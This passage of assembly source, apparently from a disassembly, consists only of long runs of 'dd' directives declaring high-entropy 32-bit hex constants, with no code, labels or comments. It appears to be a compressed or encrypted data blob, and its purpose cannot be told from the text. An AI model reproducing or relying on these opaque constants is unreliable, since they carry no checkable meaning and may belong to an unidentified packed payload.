		dd 86768240h, 0EC4E126Eh, 0E8011101h, 1EA16015h, 0EA79D8h
		dd 694CE396h, 9C944F34h, 68596A0Ah, 7A00307Ch, 663CAC3Eh
		dd 0C4E0443h, 902809C9h, 143ACA84h, 0FD472E00h,	8C0DA7B6h
		dd 3E5B062h, 882468E2h,	856C26h, 5799E370h, 0F51E22A1h
		dd 9C062F15h, 10AA13h, 36E2616Fh, 5C37BE6Ah, 87F32101h
		dd 5D5F2B14h, 9AA1708Ch, 4900A510h, 0BFD042ADh,	2064E281h
		dd 0C3B01E41h, 3B2880F0h, 5207081Dh, 0C8BDF428h, 9A952981h
		dd 21801371h, 0E5C3806Fh, 2A00607Ah, 3C73073Fh,	3392AD56h
		dd 2B18CDC9h, 0F96968F8h, 650723F2h, 0E3EF7043h, 0E5FF8540h
		dd 0C0D000E6h, 28594261h, 7DF486DAh, 0CD9E6D07h, 3C475211h
		dd 6C87B141h, 0A5293EC7h, 1D3046B0h, 7A009D4Fh,	3FA25F78h
		dd 0FB0D7Ch, 0DE218ECEh, 0EB596DB1h, 0F106900h,	0C8F83CB7h
		dd 0DB30009Fh, 97EFC22Ah, 0E9052565h, 16E8DA82h, 2FDC7C0h
		dd 9EF33AE1h, 9B0B1383h, 0BEB8EE92h, 941D9561h,	0B0800CB8h
		dd 6D875184h, 0E76CDh, 7CC8AABDh, 6743C422h, 7ADED1C3h
		dd 5BA8E8ACh, 0F26E3D03h, 0A422FC00h, 0E1D5FF2Ch, 4ED87105h
		dd 0BAC0E2F4h, 1889EAE0h, 106E499Ch, 0FC17EC1Dh, 83A0628Ah
		dd 67BE0022h, 99E4054Dh, 2C008391h, 0D3E3F2C8h,	1C25E9B3h
		dd 1EBA15h, 37FB43F9h, 930D3669h, 505E0AE4h, 0B8C5DED0h
		dd 0EFB20A5Ah, 83A44345h, 7827B5D2h, 0B3682100h, 0C135DF0Fh
		dd 476F1B55h, 77D8293Ch, 38025F69h, 612E3776h, 420DE0FAh
		dd 25C6011Fh, 0D2AA5793h, 464AC4CCh, 0B1D70700h, 21D98662h
		dd 6AF80315h, 4F456623h, 0CF4E8A0h, 81CAE000h, 0BA9B7125h
		dd 0A030006Bh, 0C44A2C57h, 0DB0074B3h, 446831D2h, 0BD8999h
		dd 0CBF6495h, 260F8E6Fh, 3304A3Bh, 9849DB6Ah, 0A9292296h
		dd 15360400h, 4FF35D32h, 0A41600E6h, 2A0384BBh,	11076F50h
		dd 0B786E90Eh, 4B809E04h, 1310B5C2h, 0C0F3BC15h, 2F0EA9F0h
		dd 52DA39h, 87B0FC54h, 0E23A55h, 62EB32E3h, 0DDBD8E40h
		dd 0C31FF3EAh, 795DADEDh, 0B1BE5D40h, 46F874h, 2B00A14h
		dd 9641532h, 0BF6A6307h, 0F33733D5h, 40170E0h, 0B3A6009Dh
		dd 0C20772D3h, 4E3B197Ah, 9022A810h, 0D43E8E78h, 0B2359E43h
		dd 0BB9CB741h, 0CBC09316h, 927B0034h, 0ADEEF78Bh, 47F85867h
		dd 706CC224h, 0FA9DE700h, 70CB40h, 5ED4CF7Bh, 0B776FB45h
		dd 35AF900h, 0D712A3B8h, 0F1B10039h, 0D1867D16h, 0D93C2433h
		dd 0A1380F07h, 0E09F00E3h, 367B21Ah, 25863511h,	57C0B76Eh
		dd 4A1C03DBh, 54C005DFh, 0B592AEE4h, 0AC7497h, 1241B110h
		dd 0F8AD2CEDh, 0E5E6A11Eh, 645206C0h, 3D44D8h, 280DFACEh
		dd 0ABFDBBC3h, 1BBA750Ah, 261F83F7h, 98DB0B40h,	58BCE2ADh
		dd 943D19C7h, 0A4DEEA00h, 116EC85Bh, 60C36801h,	0CBF12F67h
		dd 5C25D270h, 3301E465h, 5A92342Ah, 9AE2C491h, 238BBA00h
		dd 48ED6224h, 71B91D69h, 0E0B44051h, 85BF05F7h,	667EA700h
		dd 982E50CEh, 0EF1200D6h, 0C589BD7Fh, 5A1E6990h, 8740BE1Eh
		dd 8CFB6A08h, 1090B5h, 0EE31B38Ah, 489113C6h, 4C92E400h
		dd 83A6D761h, 5FF00F71h, 6AA0E099h, 0C02FDB1Eh,	72FCF500h
		dd 540403D6h, 0A6290230h, 0F3871973h, 7EE3B340h, 0C2B37D00h
		dd 0D99A08D8h, 9B290060h, 0B89F3FEEh, 4D001727h, 0DABAA85Ch
		dd 12B1CEB3h, 0B4D878h,	17DE14A4h, 71FB6DD2h, 0C1A8C44Bh
		dd 0BB568D00h, 0E68B361Fh, 454B0089h, 0AE82FDE9h, 35006615h
		dd 0ADFBD4F3h, 0B60937h, 0CDCA0BFh, 0E565CFDBh,	38C46C5Ch
		dd 95608022h, 0C8D98842h, 0FDF43A3Fh, 0CC07CA80h, 0A4BF4568h
		dd 3217A304h, 1DC0743Bh, 0A7EE2BCh, 0BE86CA91h,	8CD106FFh
		dd 0D23B19E8h, 0E7D900C5h, 0F5A3EA10h, 0FD72A5h, 729A8BC4h
		dd 0E2261C76h, 0C2F25F00h, 542F320Ah, 774E0302h, 0EAE7C46Ah
		dd 7694800h, 745815B1h,	612D00B8h, 71CEF1E8h, 0B524D784h
		dd 8C0004E4h, 4F56CF1Ah, 0FA33E83h, 0F68DA802h,	0AC40CE59h
		dd 0B4009FE5h, 1CC9A19Ah, 71A6E05Ah, 3B7900A4h,	82ECFBE6h
		dd 541FC5F9h, 40430398h, 0D0412DC6h, 0FB26A2h, 2058A363h
		dd 3D71516Fh, 0DE0008E4h, 406CF98Ah, 8D73A5h, 706645ADh
		dd 7205CE50h, 7E031E00h, 0AA74DDB3h, 0F5102E88h, 0A02300AFh
		dd 43494ADEh, 0D4636600h, 0E026AD55h, 0CF200009h, 0DB6B0415h
		dd 0C6127A81h, 0A0003C6Dh, 0A968CE9Bh, 11E200B6h, 7D331E12h
		dd 15004179h, 0E11B6B98h, 0A69744h, 1017F84Ch, 0F9045A0h
		dd 856A3Ah, 82D0EC2Ah, 20B565C7h, 0E800DFD3h, 0E7D4FB60h
		dd 74F0CFFh, 0F97BF04Dh, 32D22C62h, 1D7A9E00h, 89A202A0h
		dd 0AAD3002Bh, 0C404AE0Fh, 0C60E9853h, 402082ABh, 1A139B36h
		dd 9DF005h, 0ECF5338Eh,	0D061108Ch, 0D1063BEAh,	0F03CFADCh
		dd 77A50060h, 0B24586Ch, 0AF00DE38h, 0F3ECDC7h,	84EFE2h
		dd 3AE368C8h, 40ED4E20h, 0FC834A00h, 70562C23h,	0F51E00C7h
		dd 0BB520204h, 61E985Eh, 188334B0h, 0B009E546h,	2650B51Ah
		dd 1BCE7CAh, 8C869B83h,	665CCC4Fh, 1589D58h, 6456D15Eh
		dd 0F4E03813h, 0FC4A002Ah, 0B33C8F4Bh, 7700BBCBh, 74309FAh
		dd 3DB0FF48h, 0C71C4D9Fh, 0D3E28034h, 6B228897h, 0F0B7DC00h
		dd 85A1C8E6h, 647507B3h, 3E010842h, 9F1622E0h, 8E03C7DEh
		dd 48D28258h, 0FE9EF051h, 3500E10h, 0FB605C4Ch,	0E2C6A70Fh
		dd 73EEE701h, 0E927A1D0h, 9072DEF4h, 634600BCh,	0B96E2286h
		dd 331E1BBCh, 24815342h, 9C7E7858h, 1448C16Ah, 2DF4DC68h
		dd 4ED6BA0Fh, 0FCBC4A08h, 8FF9CE80h, 3D63B314h,	9F009299h
		dd 6DBD0AC6h, 4626C3AEh, 11A65804h, 1893803Fh, 83B7D4FFh
		dd 8E4414BFh, 4F00C89Fh, 0CD9188DAh, 0EE0E9AFBh, 0C7C852h
		dd 0D76C985h, 0A17980h,	0F6E9DCA4h, 1F0C5D3Ah, 0B7C02000h
		dd 41CB527Bh, 98786Fh, 53A149Bh, 0E8A2C9D8h, 4F96B402h
		dd 0E0FB2F1Dh, 1D631892h, 407FA419h, 5FFFF4B2h,	3C07F611h
		dd 32601609h, 0A6DB93A0h, 5DD60092h, 544C5EE0h,	47370A1h
		dd 39CFDF0Bh, 0BB54A035h, 0B99FE2h, 0E8FD7B93h,	32CE7F24h
		dd 0EA6F6700h, 950D6CCFh
		dd 404100AFh, 1A64E7E3h, 94007AFAh, 81A6BDFDh, 7CF8A9h
		dd 2F867BC6h, 6DFC0E98h, 1314C11Bh, 0DF77F011h,	38F24Eh
		dd 71FACF4Bh, 67AB561Dh, 0C8785439h, 73DB0040h,	66B2695Ch
		dd 0DF840506h, 0C03F7986h, 2A5D9B2h, 38611D7Fh,	9E6D14B9h
		dd 186F3980h, 0E86A3D58h, 8D99570Bh, 691403CBh,	0A61008E0h
		dd 78006B71h, 79DF2C5Fh, 6A730014h, 5662D4B7h, 5300AD29h
		dd 4538A987h, 0B83BDC67h, 0AE840012h, 4AEFDF09h, 0B3785B73h
		dd 8B86000h, 18F08FAFh,	0B9CB031Ah, 9C63C82Bh, 7AA2ADB8h
		dd 0CC01BBFEh, 4627CDFDh, 33F1CE87h, 76975840h,	745A005Fh
		dd 0AC4A3EF0h, 0D4F9696Dh, 0A800DC33h, 90261763h, 74BFDEh
		dd 3824CC6Eh, 194B47C0h, 0E5D8000h, 0D925FDE1h,	0E407571h
		dd 0EC94F3DDh, 5BE97BE0h, 0A80058DAh, 9707AE3Ah, 45AF36h
		dd 68B894A4h, 9E7B2010h, 0B50D0405h, 0F500BB07h, 0CC993F5Bh
		dd 53111495h, 9A00A026h, 7CA2CA1Ah, 8CA00867h, 0DDFFF831h
		dd 0F921B913h, 0D1AF5001h, 0F732FD1Ch, 8D8ECCh,	0BCAAE59Bh
		dd 13C0ADB2h, 73331001h, 193804D5h, 0D3CCF849h,	6A7003ABh
		dd 11E55808h, 0BBA25FB3h, 0A35DFC68h, 0F736AB00h, 0B61F307Eh
		dd 0CCBE0938h, 44070B17h, 98E7D099h, 26180DF3h,	0C93881C1h
		dd 8CDD2E91h, 3B0FBC8Ch, 0CC606946h, 623810D0h,	0A9085E64h
		dd 0EAB8D4A0h, 54163A69h, 0A6B94883h, 60AE5F19h, 0A09AA9C3h
		dd 84B0D706h, 0E8045CDh, 0BDFB1167h, 98572660h,	0B401CFFDh
		dd 0E21AB2BFh, 54225C83h, 34480B00h, 876BA5CEh,	0B615B00Eh
		dd 0A7798986h, 34902A40h, 0ADEFFC3h, 1A97AB68h,	529688C4h
		dd 7BA50760h, 53A02167h, 770E1591h, 5C605036h, 395AA54Fh
		dd 0CFAF5E00h, 97E219BCh, 3F21289Dh, 9FA307C8h,	0E0DCB95Fh
		dd 0BD3E5263h, 9C413Dh,	701CBA05h, 1C9DB1F3h, 0C0E02AD0h
		dd 0A911B887h, 6B00CC59h, 0C16465E6h, 0EECE9BAh, 0A48C4C23h
		dd 606E830Fh, 2F144820h, 0DA0237E4h, 0BB557195h, 64B660A8h
		dd 7466007Bh, 8A601411h, 0C53E4090h, 60EC2D0Dh,	7CBCD3CEh
		dd 1CEA1D20h, 0F6D6007Eh, 0A0BBFAE9h, 0BE5D171Dh, 0B576AF00h
		dd 3FE28h, 4784F826h, 0C1127238h, 160777F4h, 97A7E256h
		dd 1A482Ch, 0A9F7295Ch,	0F0A0CD46h, 604F8058h, 0CF0CF268h
		dd 0F3C4034Dh, 0F8BD418Fh, 0AEF029E6h, 74B74E27h, 0A892062Bh
		dd 56600805h, 0A157EF21h, 70F20047h, 0A6DA0C1Fh, 0DC759EEAh
		dd 2703C271h, 6BFF76B6h, 0AF303959h, 7739E606h,	6300703Eh
		dd 0DC6DBBF7h, 1C39B5Ah, 537E0527h, 0C8884D6Eh,	501C671Bh
		dd 9F807C4Ah, 0FC75E080h, 3A5003Ch, 77E3BA5Ah, 792C76D0h
		dd 0BB0041DEh, 0C9B73A90h, 0A6EF0004h, 0D35CBDE5h, 57589A6Ch
		dd 6B3E769Dh, 0F3BA0021h, 5C022C51h, 2AB7F4Ah, 0FD069A5Eh
		dd 6AC0DDCAh, 0EC006738h, 29E6968Dh, 0C7A739Bh,	1FE736ACh
		dd 5F399840h, 120E06Eh,	3BFBE08h, 717BBB39h, 20A0759Fh
		dd 6700FFE5h, 95DD6AB3h, 6F540Dh, 0DAF66289h, 9848F5B5h
		dd 19643201h, 79770C8Eh, 5C52882h, 0C0613658h, 0A7608074h
		dd 223B955h, 0F82C5E08h, 0F5980758h, 540F036h, 0DC07E4h
		dd 7B15D183h, 6E042EF3h, 34193A60h, 0CDF4CCh, 38F19C70h
		dd 2D08133Ch, 0B2FEC903h, 1311CFEFh, 8520B8h, 781571F3h
		dd 10F4F62h, 80EB59A8h,	0B997E568h, 74E81CD5h, 0A5D70613h
		dd 9B18B07Ch, 8019D121h, 0E09322A4h, 8FA88900h,	0C4B5C20h
		dd 62CDB899h, 2198B832h, 86F2D101h, 29354760h, 0DD042763h
		dd 99D518FEh, 0A2051128h, 198EBE00h, 0DE3E7ADAh, 8056033Ch
		dd 1BB6FB21h, 0A108198Eh, 9144D062h, 16EC5877h,	1507C371h
		dd 2740C8C9h, 0D06B2425h, 0D5003C21h, 44FDA661h, 0A73938C0h
		dd 6E478018h, 0A14F2404h, 2218C0B0h, 800FB2AEh,	5CB4600Fh
		dd 951F00DCh, 3ED55FCEh, 0F700176Bh, 6A1B3525h,	637C367Dh
		dd 0CAA03F00h, 7E837038h, 0B6F22813h, 0F8325840h, 21866F3Ah
		dd 0F8BE060Bh, 138BAC00h, 313407FFh, 0AACEC65Dh, 0CF18C09Ch
		dd 52B80938h, 0F85F03C3h, 2186CE88h, 94D9F9F0h,	6111C001h
		dd 67E5F10Ah, 89C6987h,	781E1024h, 40C06827h, 0A0F7C86Ch
		dd 1884E0FEh, 18A52C21h, 42003A03h, 4D3E1470h, 0B6684Ah
		dd 69085F48h, 31AFA1DCh, 0BF6B7F03h, 0E3231043h, 0DBE0E750h
		dd 142BF6BEh, 0AC5A3884h, 8E18541Fh, 69E7CCE1h,	517780C9h
		dd 891EB837h, 5EC61572h, 18C652h, 0B1D88766h, 75788868h
		dd 0F500D9EAh, 4D8D4B60h, 31E6602h, 0AADFF091h,	0DDE89E9Ah
		dd 0A00A1F05h, 24575A8Eh, 11890CC2h, 595D10E9h,	1825679Ah
		dd 6D4A40DAh, 0CA0066B1h, 62DFF545h, 49EB9Fh, 0CE6973D4h
		dd 7117029h, 0B130D200h, 0C1C69C40h, 2ADF00DDh,	743DA143h
		dd 0A5790221h, 4E0007E8h, 8F04E942h, 257318h, 14339A16h
		dd 0C234768Ch, 9D0A837Ch, 585651FFh, 0F122E4C4h, 50778B10h
		dd 7409CEBh, 50EA6DA6h,	6855E0h, 47D51E80h, 91013F21h
		dd 0DEFAA95Eh, 30836649h, 0DC386C01h, 501C489Eh, 0FA403AF5h
		dd 9FB27074h, 77BE0332h, 56BB455Ah, 40271800h, 8D5587D1h
		dd 71EE0F59h, 0E6805B0Ah, 0EB3154DAh, 8F17C80Dh, 0FBF0701Ah
		dd 0A07D764Eh, 5772398h, 0C0CBDAD4h, 0F5B04295h, 0F4B6B7B9h
		dd 0D0045C42h, 9341BF7Dh, 0F7A16F10h, 82699D3Fh, 9A41D31Fh
		dd 7E114165h, 0FCE0A2h,	0B1FA2692h, 65B3D67Fh, 0F9ADF305h
		dd 3421C986h, 0B80C9A10h, 0C14ADA03h, 2886FAh, 14C466B8h
		dd 0CB124C93h, 0FF5E505h, 9C00615Bh, 0C6CF6337h, 0AE70B0h
		dd 88F6F915h, 0DECD4D99h, 0B1337D02h, 405A8D3Ah, 6AFC8A6Ch
		dd 0E1A8BBh, 8C88C85Eh,	0C41C1415h, 0C71A743Bh,	0C38800E0h
		dd 2AE626Dh, 3E0D7BFAh,	5C815635h, 564F47C0h, 0B8F8F1ECh
		dd 6492D20Ch, 55DDA851h, 80F1908Eh, 3E8CDF0h, 0D5E79DFh
		dd 9AB0C4CFh, 860014A7h, 81E1E9ABh, 60E04818h, 0DB65B849h
		dd 1C55E226h, 0B15AEC80h, 4447300Ch, 3D47076h, 0F794AA0h
		dd 80006A48h, 0CA7F5CF7h, 0C3DA95C3h, 0F265E6A8h, 6484822h
		dd 6A0D7E3h, 4172287Dh,	3F33A88Bh, 5665196Ch, 0F24868F7h
		dd 1F5BA823h, 82E8E80h,	72187404h, 0F243E8h, 8B656BA1h
		dd 995A2993h, 2BDA4A00h, 0DF0762A3h, 0ABF7000Dh, 0F5D8E2BBh
		dd 9C92EB5Fh, 0DE417061h, 5AF0DDA1h, 1CEAF2C9h,	0C3B155C5h
		dd 0E059B5A5h, 1A6CB000h, 0F37E38DFh, 0D2202425h, 17778A60h
		dd 5C0C00DCh, 0EAEC0B4Ch, 9851C00Bh, 0B180D733h, 41C94A39h
		dd 23302260h, 3E8F7356h, 0E1000AD9h, 7448CB28h,	0D55215F6h
		dd 1A9600E8h, 172DAB2Ah, 1C530535h, 4955621Fh, 2B023F88h
		dd 0E444CB83h, 8297B813h, 46447840h, 0EA013Bh, 0EBFACBF4h
		dd 0C67AB8C4h, 61BA4700h, 6949B0C9h, 51FE82h, 14D58E85h
		dd 0D23532BEh, 0E3379E0Ah, 1267B076h, 8803B24h,	0A0319A2Ah
		dd 0F0EA19B8h, 7D0DE0B3h, 68B51C32h, 298C663Eh,	40441E50h
		dd 0DDC3A9F3h, 55806A4Eh, 28A1756Dh, 0FEB0B4DFh, 8A43002Eh
		dd 57E6B1FEh, 0C86CED1Ch, 142641h, 18911AE9h, 6DD7E4E3h
		dd 0E2B3AE00h, 0D36CDEDCh, 2D451C92h, 0F96580D8h, 646903D6h
		dd 0A8B88F00h, 0E0528635h, 398CA89Eh, 35AD73C1h, 401099FFh
		dd 3B1231E8h, 14A0905Dh, 0E50C5364h, 30C2D5B1h,	6A8288BBh
		dd 0CE5D1D00h, 62DACB34h, 19A7F58h, 0D3F1D093h,	0D1CAC4A2h
		dd 0F4146075h, 0B0FFDF00h
		dd 0AF4C5ABCh, 0D0EA0069h, 3B95A255h, 0E40E9154h, 80E2248Eh
		dd 8490DCE9h, 0EC51E258h, 0B2EA0057h, 153688DEh, 31EA4FE8h
		dd 9C1C32Ch, 0E028E613h, 8009593Ch, 0C857D584h,	8FE073F8h
		dd 38B289Bh, 4B410BCh, 6A2D7247h, 91343020h, 35430A23h
		dd 0CE4FE85Ah, 8C04B2E3h, 6889C84Ch, 47C0F809h,	3A2E095Ah
		dd 48025D0h, 31C35641h,	0FF26DC40h, 59102032h, 2894327Eh
		dd 885D0764h, 0D419DE41h, 0ED27C820h, 0C1A33030h, 0FF6C7069h
		dd 89AC207Eh, 0E8E7A1F6h, 4099120Fh, 0A550AC98h, 3F4CA8DAh
		dd 1628C882h, 33998443h, 5360DB40h, 13FC1952h, 380263A9h
		dd 6061DE16h, 40ED5F24h, 0E258F807h, 5B6C1CA2h,	269A2302h
		dd 668892F0h, 71B13000h, 85DB4690h, 4A2D3F13h, 7430AC12h
		dd 2CDDB7D8h, 50283A91h, 960E1F51h, 80DAC9B8h, 0F2DF2458h
		dd 17AC9257h, 2B925DDh,	49B1E714h, 0B0B6864h, 5820EFBh
		dd 0BC56BE12h, 0CF4A1405h, 510448C0h, 744249E0h, 0C7976E00h
		dd 0A14A7976h, 8824EB4Ch, 0D50C8536h, 3320906Bh, 10046EB3h
		dd 49F32E95h, 40B168CCh, 0E60AB48Fh, 0E4F2A67Eh, 709150A4h
		dd 0C02D1801h, 0E2ECAFD2h, 63394C83h, 26D5B83Dh, 0BA80A885h
		dd 0ED460E14h, 3FAFF84Ah, 1CAAEA62h, 48DF495Ch,	0F0846407h
		dd 8CD98061h, 0CE04EBE2h, 0C4C5DA7Eh, 9C9DC093h, 3D9A7490h
		dd 0BC120183h, 727B6462h, 0E98981F5h, 31188432h, 0A8C1C830h
		dd 2C97C76Ch, 40649468h, 0A07081D3h, 75E35D0Bh,	0D2241969h
		dd 0FB92B080h, 0C132AA95h, 3C832507h, 4445AF51h, 0B8991878h
		dd 0D11800DCh, 0D45A8E7Eh, 30E6996h, 0E95FB412h, 0D6C82E26h
		dd 1097E000h, 4914F6h, 7DE675C3h, 17A97024h, 0B30EBE7Fh
		dd 0C218C75Eh, 80942BAEh, 0CE1C1174h, 1AE414B6h, 6B814055h
		dd 40A91FB8h, 0CEE91BECh, 0B1C45A5Ch, 0F1114EA0h, 655424ADh
		dd 89E90609h, 13648E23h, 7E441C40h, 2C6D074h, 0F33385CBh
		dd 0FCAE92DEh, 3E2C0012h, 0FC7C5132h, 0C85A0300h, 0EAF53BE2h
		dd 1E743F7Dh, 9C703726h, 403897BBh, 5780B110h, 763E3D61h
		dd 74ECD4D5h, 12962005h, 6C802E2Dh, 0B849E9DCh,	0C0DA0FA0h
		dd 21F3273Fh, 5092EE60h, 4CCB57A4h, 2D11CD01h, 0DDB0C0BAh
		dd 75533880h, 0B8648FCFh, 4D8E2801h, 0D232A78Ch, 8CA0084Ch
		dd 0DF862200h, 510833CFh, 56DF87Dh, 0C1DA2EFAh,	0CA6C80A0h
		dd 440284D8h, 3504752Ah, 0F22090C5h, 0E9433E85h, 0B4708402h
		dd 70605624h, 60EDA60Ch, 3E00261Ch, 68100711h, 0B81CC6ECh
		dd 30949880h, 59E160E1h, 8F32DEA5h, 6129185Eh, 961853FCh
		dd 1F5B8885h, 1CC0202Ch, 0A20F350h, 3EC3BBDAh, 59C44FC0h
		dd 5E0AC85h, 0FB32EEDFh, 42D7C4D1h, 80172029h, 5E88091Eh
		dd 104DC0Ah, 866F5992h,	2F102416h, 1C70AD4Dh, 0FD4BDCA0h
		dd 0F0340D25h, 12ED1820h, 0BE0F07Dh, 0E8039340h, 0F11BEFC9h
		dd 0C091A477h, 28B0EA5Ch, 90945D6Ch, 38C460D0h,	0BC9A844Ah
		dd 94009C75h, 0AB864462h, 0A4D8CB51h, 4D3D2108h, 92E91180h
		dd 3C34CF0h, 0DABA2C47h, 0F2E876E1h, 0F2A1503Fh, 16444F25h
		dd 0D428FFE8h, 0C8B049h, 0DCABC454h, 2E0A5D92h,	4AAFD4E3h
		dd 8BCB8D06h, 4238E669h, 1E0D3C35h, 0C46C0B3Ah,	47F7AE40h
		dd 0D0D15246h, 1F014301h, 232A3A2Ch, 6CD500C8h,	0C971ED5Eh
		dd 0A6E2E420h, 0B05B56CCh, 0A4107BC9h, 3214BE15h, 5A4C3BAh
		dd 5A2E938Fh, 0EA60B000h, 5CB13E56h, 8005B05Eh,	32CC3FC6h
		dd 7F303208h, 0C2E2454h, 16B02A7Ch, 4DFCF70h, 811E837Dh
		dd 50F1EBF4h, 4A8EC8A4h, 800418B2h, 56EE358Ch, 0A911FC90h
		dd 28084B0Ah, 5E402CDCh, 0B3112A27h, 23222C84h,	0EFBF8CE8h
		dd 0C0A0B131h, 4A0B4CBEh, 62F855h, 0DAB6994Bh, 2127059Fh
		dd 0C17EA51Fh, 0D0253FC0h, 0C118488Ch, 0F560AD95h, 0D12E307Ch
		dd 4CEC8568h, 73598D02h, 72AB8781h, 0B0A64960h,	0F266BC4h
		dd 0B5F1C257h, 2D4EC61h, 0C622B87Eh, 444095FDh,	0E09A27C4h
		dd 823E18C9h, 40FC2ED0h, 0C3B910h, 4BE2B434h, 4060AB32h
		dd 0D9765B00h, 90ADB291h, 1C6A4C8Fh, 0A041202h,	0C0708CCEh
		dd 2C454C58h, 7B806C46h, 286815C9h, 91776F48h, 0C62BEC20h
		dd 70030FDFh, 62017479h, 6AFEB8CCh, 0A3D793Eh, 6E081C0Bh
		dd 616C50C0h, 17157C80h, 0B26AD5h, 9CC7164Ch, 2D020951h
		dd 234A7D66h, 3F68412Ah, 54E62C64h, 29011817h, 42301D04h
		dd 0A10E405Ch, 657ADDDBh, 0D3C020h, 2B2891FCh, 89C088A0h
		dd 4A03AC00h, 0C7402AB7h, 59D8C06Dh, 1815D5EEh,	0CEDF5209h
		dd 488E0BDh, 6274FAB3h,	0BE5E1891h, 0C63C2F10h,	896BEF90h
		dd 56033105h, 4D028C3h,	5C6C43A0h, 0C20FA869h, 44E0FE3Ch
		dd 0C8AA60F1h, 4918C467h, 0EBEAF3D0h, 0B9F50174h, 0AC272B96h
		dd 36DC402Fh, 0CE1270ADh, 7C43C4DDh, 40553A22h,	5045D878h
		dd 670088Ch, 14D85675h,	7D079162h, 5E962F61h, 375D3480h
		dd 0FCC7504Ch, 38920244h, 430F799Eh, 691E0C72h,	0A31DD21Eh
		dd 5EC107DDh, 0F3163C12h, 0C314C20h, 42DB39EBh,	76009731h
		dd 0EE5FAB1Dh, 66FE8F6Eh, 70A808EDh, 37543Eh, 0B8B60A1Dh
		dd 0B07E1C50h, 0C3FC039Ah, 74FA58F2h, 78154780h, 3C177906h
		dd 1C84A7Eh, 578D6B55h,	62144566h, 517200C4h, 2312E150h
		dd 0E7C8A02Dh, 0AC24B4D4h, 0F4C221Ch, 51391D78h, 81338851h
		dd 21D7035h, 81C56014h,	445988A2h, 16B28A3Dh, 9009B0C5h
		dd 0B7206093h, 44389026h, 249029C4h, 71F0600h, 0CF466290h
		dd 0C3C7E863h, 89088621h, 79CDBAC8h, 97A1590Eh,	0C827467Eh
		dd 4A360050h, 0F9FB8F7Ah, 3E301574h, 3C50E956h,	7CE3F6B8h
		dd 0A4430F95h, 0C5AE8F38h, 2C980A0h, 0A0D910C2h, 0C85836F8h
		dd 0C01D0A03h, 507CF65Fh, 1D027B3Eh, 0FBDF5F05h, 49E30076h
		dd 0DA05C80Fh, 3F62A5CBh, 3B1CC00h, 1F601A2Ah, 400CA3B5h
		dd 8FBF6AE2h, 9900E3EBh, 4DBCFD5Bh, 38E46CCDh, 5F5C633Fh
		dd 437C4F00h, 601F9CDBh, 742BFA00h, 0C787289Dh,	5E0939BAh
		dd 42697E80h, 0D92D3D21h, 0F62ECB00h, 1E6F96A8h, 0B89D00EDh
		dd 0F74654FAh, 3F00C17Dh, 35FCE8F4h, 0FB114Eh, 10BE4993h
		dd 1F3E2AD4h, 9F01F707h, 6746F4AFh, 0D5C0021h, 2E794405h
		dd 423D8085h, 3464031Dh, 0E0226E78h, 4C12FDh, 8A1C6FBBh
		dd 0FCB27024h, 588318C0h, 3A1FB06h, 0DCA32BD5h,	0F3C01E3Bh
		dd 800382Ah, 0F2BD5A0Fh, 0E8BC4215h, 204A6079h,	533BEF5Eh
		dd 809C8E28h, 73203A00h, 894DA57Ah, 4A98C0FEh, 0E54BB383h
		dd 3DA6B050h, 0C1524300h, 0ED8CCCF8h, 1EC1C01Ch, 69B99B21h
		dd 1092F230h, 3050A5Bh,	225777A7h, 9187012h, 0BB209B47h
		dd 25050E88h, 0FFE0CC44h, 0A264B020h, 0F70E1303h, 0DF3389FAh
		dd 5EF8AF0h, 0BEE01BDAh, 0E810F050h, 38CEA6C1h,	2A0F0AA2h
		dd 35581F1Ch, 0AE273B3Bh, 4700E150h, 6DC9253Ah,	0C13F5FBBh
		dd 7F0EFAC8h, 0DCC5F8D5h, 61D980EDh, 5E9C02Ch, 0CA0A0063h
		dd 11391E68h, 98740302h, 7C98FCFAh, 305AEA00h, 0AD3B09FFh
		dd 0B3C10312h, 0ABB4B21Bh, 0A336FA90h, 0D800647Ch, 57B053AAh
		dd 44977F4h, 9D37F567h,	7012807Bh, 4AECAB34h, 0A4645D00h
		dd 0B48F4B31h, 8C1A0EA8h, 79EB6ACh, 103053DCh, 551FD6BFh
		dd 32B20E00h, 0B8AC63CAh, 643E28Bh, 0D1985607h,	9310299Ch
		dd 0C3081165h, 6F10C064h, 8D01E680h, 2742D6A6h,	517A3B19h
		dd 6F160823h, 0F12968h
		dd 2479F9E8h, 39FE622Dh, 0AC80EE29h, 0F207855Fh, 8D00E81Bh
		dd 119F2470h, 0E3491891h, 0A47E8h, 438C37ABh, 0E545464Bh
		dd 907FD72h, 0ED178859h, 5853A0EEh, 7608A348h, 0B2D1386Fh
		dd 0D880C93Bh, 0B80DC7B4h, 57008F1Ch, 30547C78h, 1637F38Ch
		dd 0FE8596Bh, 35014C73h, 409D03F1h, 86397C9Ch, 422DCC1Eh
		dd 0BEA011C3h, 0EB22E8BCh, 41F51F40h, 6EAA4048h, 96B1D614h
		dd 7AF73024h, 780B5830h, 0A9DC10D4h, 21D1114Eh,	0FE5E1C00h
		dd 0DC707E96h, 0C2176107h, 60178ACAh, 7ADA250h,	832500B2h
		dd 0E7F9671Ch, 0C000C99Ch, 0E52F96D1h, 0C5CD9Dh, 48FDDE95h
		dd 0F2DA66AFh, 0BF4B29C0h, 3CF02186h, 1B8026F6h, 27A44134h
		dd 0B1F62B1Eh, 0CB023378h, 879D24D3h, 5700F507h, 3DC9A94Eh
		dd 56799000h, 43843D9h,	63951C7Dh, 67770069h, 0E0892FDCh
		dd 0B8361500h, 0F5844F3Dh, 881A3E35h, 6ED79900h, 0B6687CB4h
		dd 14648B1Fh, 637A8C3h,	88C4D3B7h, 0B8F92FC8h, 98200047h
		dd 96576B2h, 7A011B54h,	0D2FBEBFEh, 4D48441h, 929100D4h
		dd 58BCB07Ch, 6B040518h, 0A6FA954Bh, 62846C90h,	0AD8A241Dh
		dd 0E11CB9h, 947F0659h,	0B313E304h, 7E0035CFh, 6EE24D1Bh
		dd 0E499037Eh, 0E843FDCEh, 66E874C3h, 89004F05h, 9DF4FC1Ah
		dd 3E4180D0h, 0CC8068F5h, 3ED93AD8h, 0C500E4B1h, 3B96540Fh
		dd 0EE929Ah, 0FF9CE68Ch, 0F80D934Eh, 0EAB8D300h, 0D6CB3B05h
		dd 18DC1D1Ah, 0FC00FFE7h, 74F80A9Ch, 6A0092D3h,	0B7D9412Ah
		dd 1B3DE02h, 275FA6E8h,	0EC7E31AFh, 0F200E3E0h,	3F5352F1h
		dd 7BBE289h, 0B490AC05h, 90A4F401h, 982E1D70h, 93C43700h
		dd 32270719h, 0C98205EDh, 4E0C69h, 151333FCh, 1DEC1F40h
		dd 83C7305h, 0C0AA8210h, 0D022C539h, 0C795E500h, 0B73D5021h
